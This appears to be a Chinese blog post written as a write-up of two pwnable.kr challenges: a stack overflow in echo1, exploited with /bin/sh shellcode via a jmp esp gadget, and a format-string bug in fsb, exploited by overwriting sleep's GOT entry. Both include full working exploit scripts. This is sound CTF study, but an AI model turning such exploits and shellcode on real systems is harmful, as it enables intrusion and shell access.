距离上一次发这一系列的文章,已经过去三周。期间稍微了解了一下 pwn,然后开始做 pwnable.kr

0x01

这次做的第一个题目是 [Rookiss] 栏的 echo1,是一个简单的 stack overflow,题目如下:

Pwn this echo service.
download : http://pwnable.kr/bin/echo1
Running at : nc pwnable.kr 9010

首先用 IDA F5 看一下程序:

跟入 echo1 函数:

echo1 中 get_input 函数存在一个栈溢出,简单的验证一下:

输入溢出,覆盖了返回地址。
那么利用应该也不难了,需要找一个 jmp esp 或者 call esp 的地址,即可利用成功。
在 gdb 中利用 jmpcall 来寻找:

gdb-peda$ jmpcall
0x4006ec : call rax
0x40078e : jmp rax
0x400835 : call rdx
0x400869 : call rdx
0x400a6a : call rdx
0x400b54 : call rax
0x400cb7 : call rax
0x400deb : call rdi
gdb-peda$

然而并没有_(:3」∠)_
在这里卡住了,咨询了一下锐锐老师,想利用地址泄露计算偏移地址来执行。但是由于我太渣了找不到哪里有泄露QAQ。

但是不要着急,我们来看一下 main 函数中的几个点:

  int *v3; // rsi@1
  void *v4; // rax@1
  int v6; // [sp+Ch] [bp-24h]@1
  _QWORD v7[4]; // [sp+10h] [bp-20h]@1

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  o = malloc(0x28uLL);
  *((_QWORD *)o + 3) = greetings;
  *((_QWORD *)o + 4) = byebye;
  printf("hey, what's your name? : ", 0LL);
  v3 = (int *)v7;
  __isoc99_scanf(4197310LL, v7);
  v4 = o;
  *(_QWORD *)o = v7[0];
  *((_QWORD *)v4 + 1) = v7[1];
  *((_QWORD *)v4 + 2) = v7[2];
  id = LODWORD(v7[0]);

v7 是我们输入的 name,然后 id 保存着 v7(的字符串内容?)。在汇编来看的话比较直观:

mov    DWORD PTR [rip+0x201724],eax

所以我们可以在 id 里面写 jmp esp,其中 id 在 .bss 段,地址是固定的。我们直接 ret 到 id 的地址就好了。

构造 payload:

import zio
# payload/linux/x64/exec
# exec /bin/sh
shellcode = (
    "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
    "\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8"
    "\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56\x57"
    "\x48\x89\xe6\x0f\x05"
)

pad = "a" * 40
# jmp = '\xa0\x20\x60\x00\x00\x00\x00\x00'
jmp = zio.l64(0x6020a0) # id,这种写法比较高端_(:3」∠)_
io = zio.zio('./echo1')
# io = zio.zio(('pwnable.kr', 9010))
io.read_until(':')
io.writeline('\xff\xe4') # jmp esp
io.read_until('>')
io.writeline('1')
io.read_until('\n')
io.writeline(pad + jmp + shellcode)
io.read_until('\n')
io.interact()

0x02

第二个题目是 [Rookiss] 栏的 fsb,一个字符串格式化漏洞的利用。

Isn't FSB almost obsolete in computer security?
Anyway, have fun with it :)

ssh fsb@pwnable.kr -p2222 (pw:guest)

登陆上去拿到源码,发现存在明显的字符串格式化漏洞:

for(i=0; i<4; i++){
    printf("Give me some format strings(%d)\n", i+1);
    read(0, buf, 100);
    printf(buf);
}

字符串格式化漏洞对我这种渣渣来说大抵有两种方式解题。

  1. 覆盖判断的条件,使之成为 true;
  2. 覆盖 GOT 表,改变程序流程。

第一种方式是可以的,在程序中:

int fd = open("/dev/urandom", O_RDONLY);
if( fd==-1 || read(fd, &key, 8) != 8 ){
    printf("Error, tell admin\n");
    return 0;
}
close(fd);

其中 key 是一个全局变量,但是验证的时候有一堆乱七八糟的东西,而且好像覆盖的话只能覆盖四个字节(读了 8 个字节),所以放弃这条路。
另外一条路就是覆盖 GOT 表了,我们看一下程序:

#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>

unsigned long long key;
char buf[100];
char buf2[100];

int fsb(char** argv, char** envp){
    ....

buf 和 buf2 都是全局变量,所以在获取输入的时候不会出现在栈里,这样我们就不能任意指定地址了。
咨询了一下锐锐老师,讲了一种高级的利用技巧:
调用函数时,会将 ebp 压栈,所以栈上我们可以得到当前的 ebp 和 esp 的差值,以及之前的 ebp 和栈顶的差值,所以我们可以:

  1. 覆盖 ebp 指向的地址(上一次 ebp 的地址)的内容为我们要覆盖的地址;
  2. 获取到上一次 ebp 指向的地址的,计算偏移,然后覆盖我们要覆盖的地址。

大体流程如下:

接着我们通过计算出上一次的 ebp 地址,来覆盖目标地址指向的内容即可。
在实际操作中,可以发现,esp 和 ebp 的差值为 0x48,得到 0x48 / 4 = 18,可以通过 18$ 来访问。

其中 ebp 指向的上一个 ebp 为 0xffffd888,这个地址是动态存在栈中,我们需要 leak 一次,计算出偏移地址。同时在栈上碰巧有当前的栈地址:

可以发现,14$ 处为当前栈的地址,距离栈顶有 0x50 个字节的偏移,且固定;18$ 为栈底,其内容为上一次的 ebp 的地址。
我们可以计算出当前 esp 的地址,然后减去上一次的 ebp 地址,即为偏移地址。

>>>> (0xffffd888 - (0xfffed7f0 - 0x50)) / 4.0
16442.0

即可以用 %16442$n 来修改我们想要覆盖的地址内容了。
通过 objdump 查看 GOT 表:

反编译 fsb 函数:

我们可以把 sleep 函数的 GOT 表地址覆盖为调用 execve 函数的地方:0x80486ab,且只需要覆盖高地址即可。

流程清楚了,编写 exp:

import zio

io = zio.zio('./fsb', timeout=9999)

io.read_until('\n')
io.writeline('a')
io.read_until('\n')
io.read_until('\n')
io.writeline('%134520840c%18$n') # 覆盖上一次的 ebp 地址为 sleep 函数的 GOT 表地址:0x0804a008 
io.read_until('\n')
io.read_until('\n')
io.writeline('%14$x.%18$x') # leak 当前栈的地址以及 ebp 保存的地址
address = io.read_until('\n').strip()
esp_addr, ebp_addr = address.split('.')
esp_addr = int(esp_addr, 16) - 0x50
offset = (int(ebp_addr, 16) - esp_addr) / 4  # 计算偏移
io.read_until('\n')
io.writeline('%34475c' + '%%%d$hn' % offset) # 覆盖高地址的一个字,从 0x08048406 覆盖为 0x080486ab
address = io.read_until('\n').strip()
io.read_until('\n')
io.interact()

经过一系列的漫长打印后,得到 shell:

0x03

啊好累_(:3」∠)_
明天又要上班了..